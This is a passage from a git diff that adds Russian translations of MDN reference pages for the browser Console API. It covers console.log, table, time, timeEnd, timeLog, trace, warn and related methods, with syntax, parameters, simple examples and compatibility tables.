+  <tr>
+   <td>Заменяемые маски</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Доступно в Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
diff --git a/files/ru/web/api/console/log/index.html b/files/ru/web/api/console/log/index.html
new file mode 100644
index 0000000000..ba29cd2002
--- /dev/null
+++ b/files/ru/web/api/console/log/index.html
@@ -0,0 +1,92 @@
+---
+title: Console.log()
+slug: Web/API/Console/log
+tags:
+  - Debug
+  - Debugging
+  - console
+  - console.log()
+  - Отладка
+  - метод
+translation_of: Web/API/Console/log
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Выводит сообщение в веб-консоль.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.log(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.log(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список объектов JavaScript для вывода. Строковые представления каждого из этих объектов соединяются вместе в указанном порядке и выводятся. Пожалуйста, обратите внимание, что если вы логируете объекты в последних версиях Chrome и Firefox, то что вы вывели в консоль, <em>является ссылкой на объект</em>, и не обязательно является его "значением" на момент вызова <code>console.log()</code>, это значение объекта в тот момент, когда вы кликаете по нему, чтобы открыть.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка JavaScript, содержащая 0 и более <a href="/ru/docs/Web/API/console#Using_string_substitutions">подстановочных символов</a> для замены (см. <code>subst1</code> ... <code>substN</code>).</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>JavaScript-объекты, с помощью которых произойдёт замена подстановочных символов в <code>msg</code>. Это даст вам дополнительный контроль над форматом вывода.</dd>
+</dl>
+
+<p>Больше подробностей смотрите в разделе <a href="/ru/docs/DOM/console#Outputting_text_to_the_console">Вывод текста в консоль </a>документации {{domxref("console")}}.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#log", "console.log()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Console.log")}}</p>
+
+<h2 id="Отличия_от_console.dir()">Отличия от console.dir()</h2>
+
+<p>Вы можете спросить какая разница между console.dir() и console.log(). Это полезное отличие.</p>
+
+<p><img src="http://i.imgur.com/DozDcYR.png"></p>
+
+<p>Заметка:</p>
+
+<ul>
+ <li><code>console.log</code> выводит элемент как HTML-дерево</li>
+ <li><code>console.dir</code> выводит элемент как JSON-объект</li>
+</ul>
+
+<p>А именно, <code>console.log</code> даёт специальное обращение к DOM-элементам, тогда как <code>console.dir</code> - нет. Это особенно полезно, когда нужно видеть полное представление DOM JS-объетов.</p>
+
+<p>Больше информации об этой и других функциях в <a href="https://developers.google.com/chrome-developer-tools/docs/console-api#consoledirobject">Chrome Console API reference</a>.</p>
+
+<h2 id="Логирование_объектов">Логирование объектов</h2>
+
+<p>Не используйте <code>console.log(obj);</code>,<br>
+ Используйте <code>console.log(JSON.parse(JSON.stringify(obj)));</code>.</p>
+
+<p>Так вы можете быть уверены, что видите значение <code>obj</code> в момент, его логирования.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug wiki: Console API</a> - Firebug поддерживает дополнительные возможности реализации console.log(), такие как <a href="http://www.softwareishard.com/blog/firebug/firebug-tip-styled-logging/">styled logging</a>.</li>
+ <li><a href="http://nodejs.org/docs/latest/api/console.html#console_console_log_data">NodeJS: Console API</a></li>
+</ul>
diff --git a/files/ru/web/api/console/profile/index.html b/files/ru/web/api/console/profile/index.html
new file mode 100644
index 0000000000..7474ed345c
--- /dev/null
+++ b/files/ru/web/api/console/profile/index.html
@@ -0,0 +1,43 @@
+---
+title: Console.profile()
+slug: Web/API/Console/profile
+tags:
+  - АПИ
+  - Профайлер
+  - дебаггинг
+  - профилировщик
+translation_of: Web/API/Console/profile
+---
+<p>{{APIRef("Console API")}}{{Non-standard_header}}</p>
+
+<p>Запускает профайлер, встроенный в браузер (например, <a href="https://developer.mozilla.org/ru/docs/Tools/%D0%9F%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%BE%D0%B4%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D1%8C">Firefox performance tool</a>).</p>
+
+<p>Вы можете указать аргумент, чтобы назвать профиль, это позволит вам остановить только этот профиль, если записывается несколько профилей. Смотрите {{domxref("Console.profileEnd()")}} чтобы понять, как этот аргумент интерпретируется.</p>
+
+<p>Останавливает профайлер {{domxref("Console.profileEnd()")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.profile(<em>profileName</em>);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>profileName</code></dt>
+ <dd>Вы можете указать метку профиля (по желанию).</dd>
+</dl>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Console.profile")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Console.profileEnd()")}}</li>
+</ul>
diff --git a/files/ru/web/api/console/table/index.html b/files/ru/web/api/console/table/index.html
new file mode 100644
index 0000000000..f82a5e6858
--- /dev/null
+++ b/files/ru/web/api/console/table/index.html
@@ -0,0 +1,205 @@
+---
+title: Console.table()
+slug: Web/API/Console/table
+tags:
+  - API
+  - Дебаг
+  - консоль
+translation_of: Web/API/Console/table
+---
+<div>{{APIRef("Console API")}}{{Non-standard_header}}</div>
+
+<p><span class="seoSummary">Отображает наборы данных в виде таблицы.</span></p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Данная функция принимает один обязательный аргумент </font>data</code>, который должен быть представлен в виде массива или объекта, и один дополнительный параметр <code>columns</code>.</p>
+
+<p>функция логгирует аргумент <code>data</code> в виде таблицы. Каждый элемент массива (или каждое свойство, если <code>data -</code> это объект) будет представлять строку таблицы.</p>
+
+<p>Первая колонка таблицы будет озаглавлена как <code>(index)</code>. Если <code>data</code> представлена массивом, тогда значения первой колонки будут представлять индексы массива. Если <code>data <font face="Open Sans, Arial, sans-serif">-</font></code><code> объект</code>, тогда значения первой колонки будут представлять свойства объекта.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h3 id="Простые_наборы">Простые наборы</h3>
+
+<p>Аргумент <code>data</code> может быть массивом или объектом.</p>
+
+<pre class="brush: js">// массив строк
+
+console.table(["apples", "oranges", "bananas"]);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8567/console-table-array.png"></p>
+
+<pre class="brush: js">// объект, чьи свойства содержат строки
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var me = new Person("John", "Smith");
+
+console.table(me);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8559/console-table-simple-object.png"></p>
+
+<h3 id="Наборы_смешанных_типов">Наборы смешанных типов</h3>
+
+<p>Если элементы массива, либо свойства объекта, в свою очередь сами являются массивами или объектами, тогда эти элементы или свойства перечисляются построчно, перечисляя вложенные элементы/свойства в колонках:</p>
+
+<pre class="brush: js">// массив массивов
+
+var people = [["John", "Smith"], ["Jane", "Doe"], ["Emily", "Jones"]]
+console.table(people);</pre>
+
+<p><img alt="Table displaying array of arrays" src="https://mdn.mozillademos.org/files/8561/console-table-array-of-array.png"></p>
+
+<pre class="brush: js">// массив объектов
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily]);</pre>
+
+<p>Обратите внимание,  что если массив состоит из объектов, колонки таблицы будут озаглавленны названиями свойств объекта.</p>
+
+<p><img alt="Table displaying array of objects" src="https://mdn.mozillademos.org/files/8563/console-table-array-of-objects.png"></p>
+
+<pre class="brush: js">// объект, свойства которого являются объектами
+
+var family = {};
+
+family.mother = new Person("Jane", "Smith");
+family.father = new Person("John", "Smith");
+family.daughter = new Person("Emily", "Smith");
+
+console.table(family);</pre>
+
+<p><img alt="Table displaying object of objects" src="https://mdn.mozillademos.org/files/8565/console-table-object-of-objects.png"></p>
+
+<h3 id="Ограничение_видимости_колонок">Ограничение видимости колонок</h3>
+
+<p>По умолчанию, <code>console.table()</code> отображает все элементы в каждой строке. Вы можете использовать опциональный параметер <code>columns</code> чтобы указать набор отображаемых колонок:</p>
+
+<pre class="brush: js">// массив объектов, логгируется только свойство firstName
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily], ["firstName"]);</pre>
+
+<p><img alt="Table displaying array of objects with filtered output" src="https://mdn.mozillademos.org/files/8569/console-table-array-of-objects-firstName-only.png"></p>
+
+<h3 id="Сортировка_колонок">Сортировка колонок</h3>
+
+<p>Вы можете отсортировать необходимую колонку, кликнув по её заголовку.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.table(data [, <em>columns</em>]);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Данные для отображения. Могут быть представленны массивом или объектом.</dd>
+ <dt><code>columns</code></dt>
+ <dd>Массив названий колонок, которые следует отобразить.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consoletabledata-columns", "console.table()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("34.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("38.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/console/time/index.html b/files/ru/web/api/console/time/index.html
new file mode 100644
index 0000000000..bf32c8aff0
--- /dev/null
+++ b/files/ru/web/api/console/time/index.html
@@ -0,0 +1,62 @@
+---
+title: Console.time()
+slug: Web/API/Console/time
+tags:
+  - API
+  - DOM
+  - Method
+  - Reference
+  - console
+translation_of: Web/API/Console/time
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Запускает таймер, который вы можете использовать для определения, сколько времени занимает выполнение той или иной операции. Вы должны назначить каждому таймеру уникальное имя и таким образом можете запустить до 10000 таймеров на одной странице. Когда вы вызовете {{ domxref("console.timeEnd()") }} с именем, которое использовалось при запуске таймера, браузер отобразит в консоли время (в миллисекундах), прошедшее с момента запуска таймера.</p>
+
+<p>Примеры и более детальная информация находятся в разделе <a href="/ru/docs/DOM/console#Timers" title="DOM/console#Timers">Таймеры</a> документации к {{ domxref("console") }}</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>console.time(<var>label</var>);</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Название нового таймера. Оно однозначно идентифицирует таймер. Используйте то же самое название таймера, когда вызываете {{ domxref("console.timeEnd()") }} для остановки и отображения времени выполнения таймера.</dd>
+</dl>
+
+<h2 id="Документация">Документация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#time", "console.time()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте этот сайт <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на изменение.</div>
+
+<p>{{Compat("api.Console.time")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{ domxref("Console.timeEnd()") }}</li>
+ <li>{{ domxref("Console.timeLog()") }}</li>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/timeend/index.html b/files/ru/web/api/console/timeend/index.html
new file mode 100644
index 0000000000..fd23031ed5
--- /dev/null
+++ b/files/ru/web/api/console/timeend/index.html
@@ -0,0 +1,76 @@
+---
+title: Console.timeEnd
+slug: Web/API/Console/timeEnd
+tags:
+  - API
+  - Method
+  - Веб-разработка
+  - Отладка
+  - консоль
+translation_of: Web/API/Console/timeEnd
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Останавливает таймер, который был запущен до этого через функцию {{domxref("console.time()")}}.</p>
+
+<p>Более подробная документация и примеры есть в разделе <a href="/ru/docs/DOM/console#Timers" title="DOM/console#Timers">Таймеры</a> документации к {{domxref("console")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js">console.timeEnd(<code><var>label</var></code>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Метка таймера, который будет остановлен. Останавливается один раз. После остановки время отображается в <a href="/ru/docs/Tools/Web_Console" title="Web Console">Веб-консоли</a>.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Примеры</h2>
+
+<pre class="brush: js">console.time("answer time");
+alert("Click to continue");
+console.timeLog("answer time");
+alert("Do a bunch of other stuff...");
+console.timeEnd("answer time");</pre>
+
+<p>В примере выше мы получим время, которое потребовалось пользователю, чтобы закрыть первое диалоговое окно, а затем время, которое потребовалось пользователю, чтобы закрыть второе диалоговое окно:</p>
+
+<p><img alt="timerresult.png" src="https://mdn.mozillademos.org/files/16741/timer_output.png"></p>
+
+<p>Обратите внимение, что метка таймера отображается как при вызове <code>timeLog()</code>, так и завершении таймера. Кроме того, вызов timeEnd() выводит дополнительную информацию "timer ended", чтобы очевидно показать, что таймер больше не отслеживается.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#timeend", "console.timeEnd()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.Console.timeEnd")}}</div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Console.time")}}</li>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/timelog/index.html b/files/ru/web/api/console/timelog/index.html
new file mode 100644
index 0000000000..9b87553a7f
--- /dev/null
+++ b/files/ru/web/api/console/timelog/index.html
@@ -0,0 +1,92 @@
+---
+title: Console.timeLog()
+slug: Web/API/Console/timeLog
+translation_of: Web/API/Console/timeLog
+---
+<div>{{APIRef("Console API")}}</div>
+
+<div>Выводит в консоль текущее значение таймера, запущенного вызовом {{domxref("console.time()")}}.</div>
+
+<p>Подробности и примеры смотрите в документации <a href="/en-US/docs/Web/API/console#Timers">Timers</a>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.timeLog(<em>label</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Имя таймера для вывода в консоль.</dd>
+</dl>
+
+<h3 id="Результат">Результат</h3>
+
+<p>Если параметр <code>label</code> опущен, выводит значение таймера по умолчанию:</p>
+
+<pre>default: 1042ms</pre>
+
+<p>Если в параметре <code>label</code> указано имя существующего таймера:</p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">timer name: 1242ms</span></span></span></span></pre>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>При отсутствии запущенного таймера по умолчанию <code>timeLog()</code> выводит предупреждение:</p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Timer “default” doesn’t exist.</span></span></span></pre>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">При указании имени несуществующего таймера:</span></span></span></p>
+
+<pre> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Timer “timer name” doesn’t exist.</span></span></span> </pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">console.time("answer time");
+alert("Нажмите для продолжения");
+console.timeLog("answer time");
+alert("Делаем кучу другой работы...");
+console.timeEnd("answer time");
+</pre>
+
+<p>Отчет таймера начинается с момента вызова <code>console.time()</code>. Сначала выводится время от начала отсчета до закрытия первого уведомления. Затем выводится время с начала отсчета до закрытия второго уведомления:</p>
+
+<p><img alt="timerresult.png" class="default internal" src="https://mdn.mozillademos.org/files/16113/console-timeLog.png" style="border: 1px solid black; height: 102px; margin: 0 auto; width: 318px;"></p>
+
+<p>Обратите внимание, имя таймера печатается как при вызовах <code>timeLog()</code> , так и при завершении таймера.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#timelog", "console.timeLog()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости сгенерирована из структуированных данных. Для внесения вклада, пожалуйста, изучите репозитарий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> с последующей отправкой пулл-реквестов.</div>
+
+<p>{{Compat("api.Console.timeLog")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/timestamp/index.html b/files/ru/web/api/console/timestamp/index.html
new file mode 100644
index 0000000000..9bd67bdc27
--- /dev/null
+++ b/files/ru/web/api/console/timestamp/index.html
@@ -0,0 +1,39 @@
+---
+title: Console.timeStamp()
+slug: Web/API/Console/timeStamp
+tags:
+  - API
+  - DOM
+translation_of: Web/API/Console/timeStamp
+---
+<p>{{APIRef("Console API")}}{{Non-standard_header}}</p>
+
+<p>Добавляет маркер в браузерные инструменты <a href="https://developers.google.com/web/tools/chrome-devtools/evaluate-performance/reference">Performance</a> или <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>. Это помогает соотнести точку в вашем коде с другми записанными событиями.</p>
+
+
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>console.timeStamp(<code><em>label</em></code>);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Название метки. Необязательный параметр.</dd>
+</dl>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Console.timestamp")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Console.time()")}}</li>
+ <li>{{domxref("Console.timeEnd()")}}</li>
+ <li><a href="/en-US/docs/Tools/Performance/Waterfall#Timestamp_markers">Adding timestamps to the Waterfall</a></li>
+</ul>
diff --git a/files/ru/web/api/console/trace/index.html b/files/ru/web/api/console/trace/index.html
new file mode 100644
index 0000000000..0d092339d5
--- /dev/null
+++ b/files/ru/web/api/console/trace/index.html
@@ -0,0 +1,66 @@
+---
+title: Console.trace()
+slug: Web/API/Console/trace
+translation_of: Web/API/Console/trace
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Выводит стэк трэйс в  <a href="/en-US/docs/Tools/Web_Console">Веб Консоль</a>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Посмотрите <a href="/en-US/docs/Web/API/console#Stack_traces">Стэк трэйсы</a> в документации {{domxref("console")}} с деталями и примерами.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.trace();
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+</pre>
+
+<p>В консоли следующий трэйс будет отображен так:</p>
+
+<pre>bar
+foo
+&lt;anonymous&gt;</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#trace", "console.trace()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Стандартное значение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.Console.trace")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Документация Opera Dragonfly: Консоль</a></li>
+</ul>
diff --git a/files/ru/web/api/console/warn/index.html b/files/ru/web/api/console/warn/index.html
new file mode 100644
index 0000000000..6b5d7c1359
--- /dev/null
+++ b/files/ru/web/api/console/warn/index.html
@@ -0,0 +1,67 @@
+---
+title: Console.warn()
+slug: Web/API/Console/warn
+translation_of: Web/API/Console/warn
+---
+<div>
+<article class="text-content" id="wikiArticle">
+<div>{{APIRef("Console API")}}</div>
+
+<div>Выводит предупреждение в веб-консоль.</div>
+
+<div></div>
+
+
+<p>{{AvailableInWorkers}}{{Note("В Firefox, предупреждения имеют небольшое изображение восклицательного знака перед сообщением.")}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.warn(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.warn(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список объектов JavaScript для вывода. Строковые представления каждого из этих объектов соединяются вместе в указанном порядке и выводятся.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка JavaScript, содержащая 0 и более <a href="https://developer.mozilla.org/ru/docs/Web/API/console#Using_string_substitutions">подстановочных символов</a> для замен.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>JavaScript-объекты, с помощью которых произойдёт замена подстановочных символов в <code>msg</code>. Это даст вам дополнительный контроль над форматом вывода.</dd>
+</dl>
+
+<p>Больше подробностей смотрите в разделе <a href="/ru/docs/Web/API/Console#Outputting_text_to_the_console">Вывод текста в консоль</a> документации {{domxref("console")}}.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external external-icon" href="https://console.spec.whatwg.org/#warn" hreflang="en" lang="en">Console API<br>
+    <small lang="en-US">Определение 'console.warn()' в спецификации.</small></a></td>
+   <td><span class="spec-Living">Живой стандарт</span></td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="htab">{{Compat("api.Console.warn")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external external-icon" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external external-icon" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+</ul>
+</article>
+</div>
diff --git a/files/ru/web/api/console_api/index.html b/files/ru/web/api/console_api/index.html
new file mode 100644
index 0000000000..09ca028cb3
--- /dev/null
+++ b/files/ru/web/api/console_api/index.html
@@ -0,0 +1,72 @@
+---
+title: Console API
+slug: Web/API/Console_API
+tags:
+  - API
+  - console
+  - Отладка
+translation_of: Web/API/Console_API
+---
+<div>{{DefaultAPISidebar("Console API")}}</div>
+
+<div><span class="seoSummary">Console API обеспечивает функциональность, которая позволяет разработчикам выполнять задачи по отладке, такие как логгирование сообщений или значений переменных в определённых местах кода, измерение времени, требуемое на выполнение задачи</span></div>
+
+<h2 id="Понятие_и_использование">Понятие и использование</h2>
+
+<p>Console API изначально было собственным API с различной браузерной реализацией. <a href="https://console.spec.whatwg.org">Спецификация Console API</a> была создана, чтобы согласовать поведение. Сейчас все современные браузеры используют эту реализацию. Хотя некоторые реализации имеют свои собственные функции. Узнать больше можно здесь:</p>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Google Chrome DevTools implementation</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari DevTools implementation</a></li>
+</ul>
+
